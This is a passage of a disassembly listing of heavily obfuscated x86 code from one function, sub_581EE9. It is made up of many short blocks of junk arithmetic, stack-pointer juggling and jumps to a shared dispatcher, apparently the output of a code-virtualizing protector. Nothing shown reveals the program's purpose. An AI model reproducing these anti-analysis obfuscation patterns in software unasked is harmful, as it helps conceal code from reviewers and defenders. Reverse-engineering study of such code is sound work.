[esp-6EACh+arg_6EA4] add esp, 4 add [esp-6EB0h+arg_6EAC], 52CB58F7h add [esp-6EB0h+arg_6EAC], 53F11D37h jmp loc_59E280 ; --------------------------------------------------------------------------- loc_5922F5: ; CODE XREF: sub_581EE9+16F44j mov [esp-6EB0h+arg_6EA8], ebp mov ebp, 2 push ebx mov ebx, ebp push ebx sub [esp-6EA8h+arg_6E9E+2], 1FA5388Fh jmp loc_59F375 ; --------------------------------------------------------------------------- loc_59230D: ; CODE XREF: sub_581EE9+1F4FBj add edx, 3BEF69D7h jmp loc_598988 ; --------------------------------------------------------------------------- loc_592318: ; CODE XREF: sub_581EE9+2182Dj xchg edi, [esp-6EA8h+arg_6E9E+2] jmp loc_597A46 ; --------------------------------------------------------------------------- loc_592320: ; CODE XREF: sub_581EE9+2460Dj mov esi, 685C6E73h jmp loc_5A1C39 ; --------------------------------------------------------------------------- loc_59232A: ; CODE XREF: sub_581EE9+14F84j pop ebx push eax mov al, 8Bh neg al and al, 78h not al neg al add al, 0 xor dh, al pop eax sub dh, 1 xor dh, 0C9h sub dh, 0FFh jmp loc_595181 ; --------------------------------------------------------------------------- loc_592349: ; CODE XREF: sub_581EE9+23830j not cl shr cl, 4 or cl, 84h sub cl, 28h mov bl, cl pop ecx mov ch, 0F0h jmp loc_59FAB1 ; --------------------------------------------------------------------------- loc_59235E: ; CODE XREF: sub_581EE9+1DE24j add [esp-6EB0h+arg_6EAC], esi pop esi jmp loc_5A2DF7 ; --------------------------------------------------------------------------- loc_592368: ; CODE XREF: sub_581EE9+1842Ej add esi, ebx jmp loc_5A2F4D ; --------------------------------------------------------------------------- loc_59236F: ; CODE XREF: sub_581EE9+15066j push esp mov esi, [esp-6EB0h+arg_6EA8] jmp loc_5A397B ; --------------------------------------------------------------------------- loc_592378: ; CODE XREF: sub_581EE9+157A5j add ecx, edi pop edi add esi, ecx mov ecx, [esp-6EB4h+arg_6EAC] jmp loc_5A4D2B ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EB4h+arg_6EAC] push 488Ch mov [esp-6EB0h+arg_6EA8], ecx mov ecx, esp push 3F25h jmp loc_59AB91 ; --------------------------------------------------------------------------- loc_59239D: ; CODE XREF: sub_581EE9+177B2j sub ebx, esi pop esi jmp loc_5A25A5 ; --------------------------------------------------------------------------- loc_5923A5: ; CODE XREF: sub_581EE9+16FF5j push edi mov edi, 4E775671h sub ecx, edi mov edi, [esp] sub esp, 4 jmp loc_599F09 ; --------------------------------------------------------------------------- loc_5923BB: ; CODE XREF: sub_581EE9+2239Cj pop eax sub esp, 4 jmp loc_599BF1 ; --------------------------------------------------------------------------- loc_5923C7: ; CODE XREF: sub_581EE9+1FDC9j mov ebp, 1AFC2090h xor ebp, ecx pop ecx jmp loc_5A29C4 ; --------------------------------------------------------------------------- loc_5923D4: ; CODE XREF: sub_581EE9+22526j mov edx, [esp-6EACh+arg_6EA4] push edi mov edi, esp push eax mov eax, 4 add edi, eax pop eax add edi, 4 jmp loc_5989C3 ; --------------------------------------------------------------------------- loc_5923EE: ; CODE XREF: sub_581EE9+20403j sub edi, esi pop esi neg edi jmp loc_593EEE ; --------------------------------------------------------------------------- loc_5923F8: ; CODE XREF: sub_581EE9+1A310j push 4ACDh mov [esp-6EA8h+arg_6E9E+2], edx jmp loc_5A0385 ; --------------------------------------------------------------------------- loc_592405: ; CODE XREF: sub_581EE9+21BD9j add ebp, 26D6694Ch not ebp sub ebp, 3C3E54BBh or ebp, 2B9E5CCDh xor ebp, 3BFB8A9Ch jmp loc_5A3A43 ; --------------------------------------------------------------------------- loc_592424: ; CODE XREF: sub_581EE9+1E875j add edi, 4 sub edi, 4 xchg edi, [esp-6EA8h+arg_6E9E+2] mov esp, [esp-6EA8h+arg_6E9E+2] mov [esp-6EA8h+arg_6E9E+2], edi mov edi, 49261E0h add ebx, edi jmp loc_598151 ; --------------------------------------------------------------------------- loc_592445: ; CODE XREF: sub_581EE9+1170Fj mov ecx, 224F283Ch xor edx, ecx jmp loc_59D041 ; --------------------------------------------------------------------------- loc_592451: ; CODE XREF: sub_581EE9+24DBEj not ebx sub ebx, 0B6699563h add edi, 0C783BFEh sub edi, 66940AEAh sub edi, 32DD4BCCh jmp loc_5961DE ; --------------------------------------------------------------------------- loc_592470: ; CODE XREF: sub_581EE9+204BFj mov [esp-6EA8h+arg_6E9E+2], eax mov eax, 0C03957h add eax, 1 not eax push edi mov edi, 25FF3FBEh xor edi, 76962398h not edi xor edi, 5D433E44h shl edi, 4 shl edi, 7 sub edi, 77B0363Ah add eax, edi jmp loc_5A0922 ; --------------------------------------------------------------------------- loc_5924A4: ; CODE XREF: sub_581EE9+16F7Bj pop ecx push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A2D74 ; --------------------------------------------------------------------------- loc_5924B6: ; CODE XREF: sub_581EE9+178C4j push ebx mov ebx, 4 add [esp-6EA0h+arg_6E9A+2], ebx pop ebx mov esi, [esp-6EA4h+arg_6E9A+2] add esp, 4 push edx mov edx, 4 add esi, edx pop edx push 350Ch mov [esp-6EA4h+arg_6E9A+2], eax jmp loc_5A4F12 ; --------------------------------------------------------------------------- loc_5924E0: ; CODE XREF: sub_581EE9+19104j mov edx, esp add edx, 4 jmp loc_594E16 ; --------------------------------------------------------------------------- loc_5924ED: ; CODE XREF: sub_581EE9+115F2j xor ebx, 0A8A042Bh jmp loc_59CBEB ; --------------------------------------------------------------------------- loc_5924F8: ; CODE XREF: sub_581EE9+106D5j add esi, 4838023Ah jmp loc_59EBFD ; --------------------------------------------------------------------------- loc_592503: ; CODE XREF: sub_581EE9+2245Cj mov edi, 10BA7C85h add edi, 52ED10A5h jmp loc_59B8AC ; --------------------------------------------------------------------------- loc_592513: ; CODE XREF: sub_581EE9+241FDj add [esp-6EA4h+arg_6E9A+2], 4 jmp loc_5A1D72 ; --------------------------------------------------------------------------- loc_59251C: ; CODE XREF: sub_581EE9+18D53j xor eax, [esp-6EA4h+arg_6E9A+2] mov esp, [esp-6EA4h+arg_6E9A+2] or ch, 41h and ch, 6Bh jmp loc_59C111 ; --------------------------------------------------------------------------- loc_59252D: ; CODE XREF: sub_581EE9+11BACj mov eax, esp add eax, 4 jmp loc_5A5369 ; --------------------------------------------------------------------------- loc_592539: ; CODE XREF: sub_581EE9+1C4C5j add eax, edi pop edi xor eax, [esp-6EA8h+arg_6E9E+2] xor [esp-6EA8h+arg_6E9E+2], eax xor eax, [esp-6EA8h+arg_6E9E+2] pop esp jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59254B: ; CODE XREF: sub_581EE9+1C8D1j add esp, 4 jmp loc_591F70 ; --------------------------------------------------------------------------- loc_592553: ; CODE XREF: sub_581EE9+1A423j add esp, 4 not eax push edx mov edx, 5B5C6613h shr edx, 7 or edx, 672302A2h add edx, 0FFFFFFFFh jmp loc_5A387A ; --------------------------------------------------------------------------- loc_592572: ; CODE XREF: sub_581EE9+239C0j mov edi, 4 add edx, edi pop edi jmp loc_5A14AA ; --------------------------------------------------------------------------- loc_59257F: ; CODE XREF: sub_581EE9+20070j push 16990D64h pop ebp push edx push 2928h mov [esp-6EACh+arg_6EA4], eax mov eax, 7C5902AAh jmp loc_59F3A6 ; --------------------------------------------------------------------------- loc_592598: ; CODE XREF: sub_581EE9+1E0F2j mov esi, 0AFDC365Ch jmp loc_59A84B ; --------------------------------------------------------------------------- loc_5925A2: ; CODE XREF: sub_581EE9+15AC1j and eax, 3B5232D4h xor eax, 5F39397Fh jmp loc_59D227 ; --------------------------------------------------------------------------- loc_5925B1: ; CODE XREF: sub_581EE9+13951j and esi, 688612D7h shl esi, 5 inc esi shr esi, 6 jmp loc_5924F8 ; --------------------------------------------------------------------------- loc_5925C3: ; CODE XREF: sub_581EE9+11350j mov esp, [esp] mov word ptr [esp-6EACh+arg_6EA4], ax jmp loc_5952BB ; --------------------------------------------------------------------------- loc_5925CF: ; CODE XREF: sub_581EE9+1BC3Cj mov edx, esp jmp loc_5A30CF ; --------------------------------------------------------------------------- loc_5925D6: ; CODE XREF: sub_581EE9+24870j push ebp mov ebp, 6566156Fh add ebp, 73185B6Fh jmp loc_592928 ; --------------------------------------------------------------------------- loc_5925E7: ; CODE XREF: sub_581EE9+1B383j pop ebx jmp loc_594FF7 ; --------------------------------------------------------------------------- loc_5925ED: ; CODE XREF: sub_581EE9+1E0A4j mov [esp-6EACh+arg_6EA4], eax push esp pop eax jmp loc_59B74F ; --------------------------------------------------------------------------- loc_5925F7: ; CODE XREF: sub_581EE9+1FCDDj pop ebx or edx, 6E92C73h jmp loc_599667 ; --------------------------------------------------------------------------- loc_592603: ; CODE XREF: sub_581EE9+108BBj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_592608: ; CODE XREF: sub_581EE9+2359Fj sub edi, 4FE763AEh or edi, 7FE642F4h jmp loc_5A5EE3 ; --------------------------------------------------------------------------- loc_592619: ; CODE XREF: sub_581EE9+1B840j add esp, 4 add ebx, edi mov edi, [esp-6EB4h+arg_6EAC] add esp, 4 xchg ebx, [esp+0] jmp loc_5A6EF0 ; --------------------------------------------------------------------------- loc_59262F: ; CODE XREF: sub_581EE9+1FB43j add esp, 4 xor ebx, eax push 29C3h mov [esp+0], eax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_592641: ; CODE XREF: sub_581EE9+2398Cj sub ebx, ecx pop ecx push esi mov esi, 4E432ABAh jmp loc_5A6FA9 ; --------------------------------------------------------------------------- loc_59264F: ; CODE XREF: sub_581EE9+149F3j add edi, 403A0E9Bh push eax mov eax, 0A251DB3h or edi, eax pop eax neg edi xor edi, 0A752A06Eh sub eax, edi jmp loc_5A53BD ; --------------------------------------------------------------------------- loc_59266D: ; CODE XREF: sub_581EE9+1E4E5j push eax not [esp-6EB4h+arg_6EAC] pop eax xor eax, 1B2C7153h add eax, ebx xor [eax], ecx pop eax jmp loc_59D765 ; --------------------------------------------------------------------------- xor [esp-6EBCh+arg_6EB2+2], eax xor eax, [esp-6EBCh+arg_6EB2+2] xor [esp-6EBCh+arg_6EB2+2], eax push 0FE1h mov [esp+0], eax not dword ptr [esp+0] mov eax, [esp+0] add esp, 4 push 48E9h mov [esp+0], eax push [esp-6EB8h+arg_6EB2+2] push [esp-6EB4h+arg_6EAC] push dword ptr [esp] jmp loc_5A4C6C ; --------------------------------------------------------------------------- push 0BFDh jmp loc_598F0D ; --------------------------------------------------------------------------- loc_5926BC: ; CODE XREF: sub_581EE9+19896j push [esp-6EA8h+arg_6E9E+2] pop ecx add esp, 4 mov dl, byte ptr [esp-6EACh+arg_6EA8] mov byte ptr [esp-6EACh+arg_6EA8], ah mov eax, [esp-6EACh+arg_6EA4] add esp, 4 jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5926D6: ; CODE XREF: sub_581EE9+250CAj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6EB0h+arg_6EA8] mov esp, [esp-6EB0h+arg_6EA8] push [esp-6EB0h+arg_6EA8] mov eax, [esp-6EACh+arg_6EA4] push 66D2h mov [esp-6EA8h+arg_6E9E+2], edi push esp jmp loc_5A4C38 ; --------------------------------------------------------------------------- loc_5926FE: ; CODE XREF: sub_581EE9+185ECj sub [esp-6EA4h+arg_6E9E+2], ebp sub [esp-6EA4h+arg_6E9E+2], 0BBA58DDh jmp loc_5A1C65 ; --------------------------------------------------------------------------- loc_59270F: ; CODE XREF: sub_581EE9+2132Bj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_592714: ; CODE XREF: sub_581EE9+230D9j popa jmp loc_5A3E94 ; --------------------------------------------------------------------------- loc_59271A: ; CODE XREF: sub_581EE9+207FAj add ebp, 0F6BC05CCh jmp loc_5A44A8 ; --------------------------------------------------------------------------- loc_592725: ; CODE XREF: sub_581EE9+1E27Ej sub ebp, edi pop edi shr ebp, 3 neg ebp sub ebp, 0EDD7D9CCh xor edx, ebp jmp loc_59D75D ; --------------------------------------------------------------------------- loc_59273A: ; CODE XREF: sub_581EE9+1165Dj add ecx, 4 push edx jmp loc_59CC0A ; --------------------------------------------------------------------------- loc_592746: ; CODE XREF: sub_581EE9+17634j sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], edx push esi mov esi, 49E50044h mov edx, 70C40F21h sub edx, esi pop esi xor ebx, edx jmp loc_59823A ; --------------------------------------------------------------------------- loc_592764: ; CODE XREF: sub_581EE9+228BAj xor bh, 14h jmp loc_5A1D85 ; --------------------------------------------------------------------------- loc_59276C: ; CODE XREF: sub_581EE9+1FA7Bj add [esp-6EC0h+arg_6EB6+2], 4 mov edx, [esp-6EC0h+arg_6EB6+2] jmp loc_59AE1D ; --------------------------------------------------------------------------- loc_59277B: ; CODE XREF: sub_581EE9+1C80Bj mov ebx, 69E82818h xor [esp-6EC0h+arg_6EBA+2], ebx pop ebx push [esp-6EC4h+arg_6EBA+2] pop eax sub esp, 4 jmp loc_59DDD4 ; --------------------------------------------------------------------------- loc_592794: ; CODE XREF: sub_581EE9+19249j mov ebp, 5CD803F6h jmp loc_59FA3A ; --------------------------------------------------------------------------- loc_59279E: ; CODE XREF: sub_581EE9+237D0j bt word ptr [esp-6EC0h+arg_6EB6+2], ax pushf jmp loc_592603 ; --------------------------------------------------------------------------- loc_5927A9: ; CODE XREF: sub_581EE9+189D9j mov edx, 55C71567h sub esp, 4 mov [esp+0], edi push eax mov eax, 56B67017h mov edi, 2E0E578Bh jmp loc_59961E ; --------------------------------------------------------------------------- loc_5927C4: ; CODE XREF: sub_581EE9+1CCE5j pop esp mov [esp+0], ebx push edx mov edx, 4D41500Dh mov ebx, 0B2BEAFF5h jmp loc_59DF6A ; --------------------------------------------------------------------------- loc_5927D8: ; CODE XREF: sub_581EE9+1F31Dj push ebp mov ebp, 4 add eax, ebp pop ebp push eax jmp loc_594697 ; --------------------------------------------------------------------------- loc_5927E7: ; CODE XREF: sub_581EE9+170B8j add edi, esi pop esi xor edi, [esp-6EB4h+arg_6EAC] jmp loc_59C41F ; --------------------------------------------------------------------------- loc_5927F2: ; CODE XREF: sub_581EE9+11006j xor ebx, ecx pop ecx and ebx, 37CB6B6Ah add ebx, 207151BFh and edi, ebx pop ebx push ebx jmp loc_5A4917 ; --------------------------------------------------------------------------- loc_59280A: ; CODE XREF: sub_581EE9+1F827j add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp pop [esp-6EBCh+arg_6EB2+2] mov esp, [esp-6EC0h+arg_6EB6+2] mov word ptr [esp-6EC0h+arg_6EB6+2], cx jmp loc_591F70 ; --------------------------------------------------------------------------- loc_592826: ; CODE XREF: sub_581EE9+24C5Aj add esp, 4 jmp loc_5A6A41 ; --------------------------------------------------------------------------- loc_592831: ; CODE XREF: sub_581EE9+2005Fj sub ebx, 1C2F7459h mov eax, [esp-6EC4h+arg_6EBA+2] push ebx push esp pop ebx push esi mov esi, 5F9D206Eh jmp loc_5A5BCB ; --------------------------------------------------------------------------- loc_592848: ; CODE XREF: sub_581EE9+1D10Cj sub eax, 3BABB3E6h jmp loc_599E97 ; --------------------------------------------------------------------------- loc_592852: ; CODE XREF: sub_581EE9+198A1j mov si, dx pop edx jmp loc_59DA59 ; --------------------------------------------------------------------------- loc_59285B: ; CODE XREF: sub_581EE9+169DBj add esp, 4 add edi, 4 add edi, 4 push edi jmp loc_597B1A ; --------------------------------------------------------------------------- loc_59286D: ; CODE XREF: sub_581EE9+23AFCj mov edx, 5DCA4FC3h jmp loc_5966CC ; --------------------------------------------------------------------------- loc_592877: ; CODE XREF: sub_581EE9+235FAj pop esp mov [esp-6EC4h+arg_6EBA+2], esp add [esp-6EC4h+arg_6EBA+2], 4 mov esi, [esp-6EC4h+arg_6EBA+2] jmp loc_5953DE ; --------------------------------------------------------------------------- loc_592887: ; CODE XREF: sub_581EE9+1BE19j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_59288C: ; CODE XREF: sub_581EE9+17226j push ecx push ebx mov ebx, 264B0D0Dh mov ecx, 264B0D11h sub ecx, ebx pop ebx sub edi, 45B0534Dh add edi, ecx add edi, 45B0534Dh jmp loc_5A62A0 ; --------------------------------------------------------------------------- loc_5928AE: ; CODE XREF: sub_581EE9+1A760j sub eax, edi pop edi xor eax, [esp-6EC4h+arg_6EBA+2] jmp loc_5A0023 ; --------------------------------------------------------------------------- loc_5928B9: ; CODE XREF: sub_581EE9+12DD6j xchg edi, [esp-6EC4h+arg_6EBA+2] pop esp mov [esp-6EC8h+arg_6EBE+2], edx push esp mov edx, [esp-6EC4h+arg_6EBA+2] jmp loc_59418E ; --------------------------------------------------------------------------- loc_5928C9: ; CODE XREF: sub_581EE9+1AD38j mov ebx, esp add ebx, 4 jmp loc_5A0DEF ; --------------------------------------------------------------------------- loc_5928D6: ; CODE XREF: sub_581EE9+2167Cj push edx mov edx, 9F55950h add [esp-6EC0h+arg_6EBE+2], edx pop edx sub [esp-6EC4h+arg_6EBE+2], ecx sub [esp-6EC4h+arg_6EBE+2], 9F55950h jmp loc_5A1EDE ; --------------------------------------------------------------------------- loc_5928F2: ; CODE XREF: sub_581EE9+1017Dj push ecx mov cl, 0C6h add cl, 52h not cl dec cl jmp loc_59F668 ; --------------------------------------------------------------------------- loc_592901: ; CODE XREF: sub_581EE9+1AA49j pop ecx sub ecx, 6A817C55h mov eax, [esp-6EA2h+arg_6E9A] jmp loc_5A38AC ; --------------------------------------------------------------------------- loc_592910: ; CODE XREF: sub_581EE9+1224Fj sub ecx, 0E7A79D21h sub esi, ecx pop ecx add esi, 2D5987B0h mov [edi+24h], esi pop esi jmp loc_5A0C03 ; --------------------------------------------------------------------------- loc_592928: ; CODE XREF: sub_581EE9+106F9j add ebp, 527938BEh dec ebp sub ebp, 0CB507780h push edx mov edx, 8662592h dec edx add edx, 4CD41415h jmp loc_5A4019 ; --------------------------------------------------------------------------- loc_592947: ; CODE XREF: sub_581EE9+17D7Fj mov ecx, 37A21970h xor edx, ecx pop ecx xor ebp, edx pop edx sub eax, 16E4752h sub eax, ebp push esi mov esi, 7A204615h neg esi sub esi, 84717299h add eax, 0A0E777Ch jmp loc_59209B ; --------------------------------------------------------------------------- loc_592971: ; CODE XREF: sub_581EE9+1F9B5j pop ecx add ebx, eax pop eax sub esp, 4 mov [esp-6EACh+arg_6EA4], edi push esi push 11F620AFh jmp loc_596248 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp-6EA6h+arg_6E9E], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_592999: ; CODE XREF: sub_581EE9+20649j or edx, eax jmp loc_5993BD ; --------------------------------------------------------------------------- loc_5929A0: ; CODE XREF: sub_581EE9+17B2Bj mov esp, [esp-6EA2h+arg_6E9A] mov [esp-6EA2h+arg_6E9A], ecx not byte ptr [esp-6EA2h+arg_6E9A] pop ecx or cl, 0A1h add cl, 0C1h sub al, cl jmp loc_5A6B0D ; --------------------------------------------------------------------------- loc_5929B7: ; CODE XREF: sub_581EE9+1D6F3j pop [esp-6EA6h+arg_6E9E] add dword ptr [esp-6EAAh+arg_6EA2], 4 mov eax, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_598D52 ; --------------------------------------------------------------------------- loc_5929C9: ; CODE XREF: sub_581EE9+1169Cj add edi, 4 jmp loc_5A39FD ; --------------------------------------------------------------------------- loc_5929D4: ; CODE XREF: sub_581EE9+1CDF9j push dword ptr [esp-6EAAh+arg_6EA2] pop ebx sub esp, 4 mov [esp-6EA6h+arg_6E9E], ebp mov ebp, esp push esi sub esp, 4 mov [esp-6E9Eh+arg_6E96], ebx push eax jmp loc_5A5A78 ; --------------------------------------------------------------------------- loc_5929ED: ; CODE XREF: sub_581EE9+101A2j push [esp-6EA2h+arg_6E9A] pop esi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6E9Eh+arg_6E96] mov esp, [esp-6E9Eh+arg_6E96] push 418Dh mov [esp-6E9Ah+arg_6E92], edx jmp loc_5A262C ; --------------------------------------------------------------------------- loc_592A10: ; CODE XREF: sub_581EE9+19DB3j pop esp jmp loc_59F86F ; --------------------------------------------------------------------------- loc_592A16: ; CODE XREF: sub_581EE9+22D29j add ecx, edi pop edi add ecx, 3F0536F8h mov ebx, [esp-6EA2h+arg_6E9A] add esp, 4 push 7A6Eh mov [esp-6EA2h+arg_6E9A], eax jmp loc_597704 ; --------------------------------------------------------------------------- loc_592A32: ; CODE XREF: sub_581EE9+1714Bj add eax, 4 xchg eax, [esp-6EA2h+arg_6E9A] pop esp push edi mov edi, 4 sub ebx, edi mov edi, [esp-6EA2h+arg_6E9A] jmp loc_59BFC5 ; --------------------------------------------------------------------------- loc_592A4B: ; CODE XREF: sub_581EE9+2305Cj add edi, ecx jmp loc_59BCF7 ; --------------------------------------------------------------------------- loc_592A52: ; CODE XREF: sub_581EE9+1F352j xor [esp-6EA2h+arg_6E9A], 72274A96h pop edx xor edx, 72274A96h mov ebp, [esp-6EA6h+arg_6E9E] add esp, 4 jmp loc_593ACC ; --------------------------------------------------------------------------- loc_592A6E: ; CODE XREF: sub_581EE9+18DDEj xor edi, 480C2517h xor edi, 54341265h xor esi, edi pop edi add edi, esi pop esi jmp loc_59A69F ; --------------------------------------------------------------------------- loc_592A85: ; CODE XREF: sub_581EE9+1691Ej push 466Bh mov [esp-6EAEh+arg_6EA4+2], esi push edi mov edi, 52917959h jmp loc_59F942 ; --------------------------------------------------------------------------- loc_592A98: ; CODE XREF: sub_581EE9+1CB25j sub ebx, 0CA4743h sub edi, ebx pop ebx sub esp, 4 mov dword ptr [esp-6EAAh+arg_6EA2], edi push [esp-6EAAh+arg_6EA4+2] push [esp-6EA6h+arg_6E9E] pop edi jmp loc_59A100 ; --------------------------------------------------------------------------- loc_592AB7: ; CODE XREF: sub_581EE9+20F47j add ebp, 0FCC1B710h add edx, 27894786h add edx, ebp sub edx, 27894786h pop ebp xor edx, 5B2A1B42h push ecx mov ecx, edx jmp loc_596419 ; --------------------------------------------------------------------------- loc_592ADA: ; CODE XREF: sub_581EE9+20783j mov [esp-6EA6h+arg_6E9E], edx push ebx mov bh, 3Ch jmp loc_5A37DD ; --------------------------------------------------------------------------- loc_592AE5: ; CODE XREF: sub_581EE9+129C5j xor esi, [esp-6EA2h+arg_6E9A] xor [esp-6EA2h+arg_6E9A], esi jmp loc_5A3E9B ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EA2h+arg_6E9A] jmp loc_5A3DE5 ; --------------------------------------------------------------------------- loc_592AF9: ; CODE XREF: sub_581EE9+1901Cj mov cx, 2D4Ah add ax, cx pop cx sub ax, 3F9Bh sub esp, 4 jmp loc_5A3219 ; --------------------------------------------------------------------------- loc_592B0E: ; CODE XREF: sub_581EE9+1F93Cj push 5C44h mov [esp-6E9Ch+arg_6E92+2], edx push small 516Eh mov word ptr [esp-6E9Ah+arg_6E92], cx push eax push edx mov dh, 51h shr dh, 3 or dh, 3Bh jmp loc_59CFB8 ; --------------------------------------------------------------------------- loc_592B2D: ; CODE XREF: sub_581EE9+139ACj pop edx mov eax, [esp-6E96h+arg_6E8E] add esp, 4 xchg bh, byte ptr [esp-6E9Ah+arg_6E92] mov dx, word ptr [esp-6E9Ah+arg_6E92] add esp, 2 push 562Fh mov [esp-6E9Ah+arg_6E92], eax sub esp, 4 mov [esp-6E96h+arg_6E8E], ecx push eax jmp loc_59B778 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6E92h+arg_6E8A] push 29BDh mov [esp-6E8Eh+arg_6E84+2], ebx push edi mov edi, esp push edx mov edx, 58897261h dec edx xor edx, 5EF52FF7h sub edx, 67C5D93h add edi, edx pop edx sub edi, 4 xchg edi, [esp-6E8Ah+arg_6E80+2] mov esp, [esp-6E8Ah+arg_6E80+2] push esp pop [esp-6E86h+arg_6E7C+2] push eax push esi mov esi, 13E104B7h and esi, 55B23A03h sub esi, 508C6A2Fh add esi, 3EEC6A30h mov eax, esi push dword ptr [esp-6E82h+arg_6E7A] pop esi add esp, 4 add [esp-6E86h+arg_6E80+2], eax mov eax, [esp-6E86h+arg_6E7C+2] add esp, 4 push [esp-6E8Ah+arg_6E80+2] push [esp-6E86h+arg_6E7C+2] pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, dword ptr [esp-6E82h+arg_6E7A] pop esp push esi jmp loc_59BA76 ; --------------------------------------------------------------------------- loc_592BDC: ; CODE XREF: sub_581EE9+1CD8Aj add esp, 4 xchg edi, [esp-6E86h+arg_6E7C+2] mov esp, [esp-6E86h+arg_6E7C+2] shl eax, cl push 1C6Ch jmp loc_5A43BE ; --------------------------------------------------------------------------- loc_592BF4: ; CODE XREF: sub_581EE9+18D44j sub edx, 33B13029h jmp loc_5A42FE ; --------------------------------------------------------------------------- loc_592BFF: ; CODE XREF: sub_581EE9+21065j push esi jmp loc_5995C7 ; --------------------------------------------------------------------------- loc_592C05: ; CODE XREF: sub_581EE9+1F6B5j push ecx mov ch, 5 jmp loc_5A1786 ; --------------------------------------------------------------------------- loc_592C0D: ; CODE XREF: sub_581EE9+1B3F8j not edx push edi mov edi, 54EA9A53h sub edx, edi pop edi sub ebp, edx pop edx push eax jmp loc_598CA1 ; --------------------------------------------------------------------------- loc_592C21: ; CODE XREF: sub_581EE9+1BA39j pop esp add esp, 4 push 44E8h jmp loc_594E60 ; --------------------------------------------------------------------------- loc_592C2F: ; CODE XREF: sub_581EE9+166DAj pop ecx xor esi, dword ptr [esp-6E82h+arg_6E7A] jmp loc_59BFCD ; --------------------------------------------------------------------------- loc_592C38: ; CODE XREF: sub_581EE9+13102j push dword ptr [esp-6E82h+arg_6E7A] mov edx, [esp-6E7Eh+arg_6E76] jmp loc_59F5A7 ; --------------------------------------------------------------------------- loc_592C43: ; CODE XREF: sub_581EE9+20766j pop edx pop dword ptr [esp-6E82h+arg_6E7A] mov esp, [esp-6E86h+arg_6E7C+2] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_592C4F: ; CODE XREF: sub_581EE9+15434j push ebx mov ebx, esp push 69C7h jmp loc_59F22A ; --------------------------------------------------------------------------- loc_592C5C: ; CODE XREF: sub_581EE9+12DDFj mov [esp-6E7Eh+arg_6E76], eax jmp loc_5A2B85 ; --------------------------------------------------------------------------- loc_592C64: ; CODE XREF: sub_581EE9+20A89j mov eax, 50A41991h shr eax, 6 sub eax, 8C13765h and eax, 3DA875BFh jmp loc_59F69F ; --------------------------------------------------------------------------- loc_592C7B: ; CODE XREF: sub_581EE9+235D5j jmp loc_591F70 ; --------------------------------------------------------------------------- loc_592C80: ; CODE XREF: sub_581EE9+11F65j mov edx, 7D0A3C58h not edx push ebp jmp loc_5972DA ; --------------------------------------------------------------------------- loc_592C8D: ; CODE XREF: sub_581EE9+1F533j add dword ptr [esp], 4 pop edx push edi mov edi, 4BC31FE2h sub edi, 2D4B1629h jmp loc_5A4D0D ; --------------------------------------------------------------------------- loc_592CA3: ; CODE XREF: sub_581EE9+1B522j sub ecx, 0FAE7F912h mov edi, ecx pop ecx sub edi, 0BD44EC3h add eax, edi pop edi push ecx mov ecx, 4 sub esp, 4 mov [esp-6E7Ah+arg_6E72], edi mov edi, 0DD926B3h sub eax, 0DC939BFh jmp loc_59897C ; --------------------------------------------------------------------------- loc_592CD0: ; CODE XREF: sub_581EE9+19C19j add ebx, 4 sub esp, 4 mov [esp-6E76h+arg_6E6E], ebp jmp loc_598861 ; --------------------------------------------------------------------------- loc_592CE1: ; CODE XREF: sub_581EE9+21A99j mov eax, 4 add esi, eax pop eax sub esp, 4 mov [esp-6E76h+arg_6E6E], edx mov edx, 3F910A69h not edx shr edx, 1 and edx, 537C0F28h jmp loc_59E815 ; --------------------------------------------------------------------------- loc_592D06: ; CODE XREF: sub_581EE9+15C44j mov edi, esp add edi, 4 push 0EEDh mov [esp-6E72h+arg_6E68+2], esi jmp loc_5A55CF ; --------------------------------------------------------------------------- loc_592D1B: ; CODE XREF: sub_581EE9+120FEj push edx mov edx, 4 add ebx, edx push [esp-6E6Eh+arg_6E64+2] pop edx sub esp, 4 mov [esp-6E6Ah+arg_6E60+2], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-6E6Ah+arg_6E60+2] pop esp push ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_5A5735 ; --------------------------------------------------------------------------- loc_592D4D: ; CODE XREF: sub_581EE9+1EF49j xor eax, ecx push ecx sub esp, 4 mov [esp-6E66h+arg_6E5C+2], esi mov esi, 3A4601FCh inc esi push edi mov edi, 1 sub esi, edi pop edi jmp loc_596B03 ; --------------------------------------------------------------------------- loc_592D6D: ; CODE XREF: sub_581EE9+11FF8j xor esi, [esp-6E66h+arg_6E5C+2] mov esp, [esp-6E66h+arg_6E5C+2] sub esp, 4 mov [esp-6E62h+arg_6E58+2], ecx jmp loc_599F65 ; --------------------------------------------------------------------------- loc_592D7E: ; CODE XREF: sub_581EE9+204ADj push ebx mov bh, 0D4h push 4FB7h mov [esp-6E5Ah+arg_6E50+2], edx mov dh, 7 or dh, 0A4h sub dh, 0F1h sub bh, 78h add bh, dh add bh, 78h pop edx push dx jmp loc_5A5AF3 ; --------------------------------------------------------------------------- loc_592DA1: ; CODE XREF: sub_581EE9+16210j mov edx, [esp-6E5Ch+arg_6E54] add esp, 4 add al, 0D8h add al, ch push dx mov dl, 0D8h sub al, dl mov dx, word ptr [esp-6E5Eh+arg_6E54+2] add esp, 2 pop ecx add bl, 0C9h add bl, 71h push ecx mov cl, 32h or cl, 26h or cl, 90h dec cl jmp loc_599F13 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- add [esp-6E62h+arg_6E58+2], 4 pop esi push edi push esi push 451F1579h pop esi add esi, 0DD2E5CADh mov edi, esi pop esi jmp 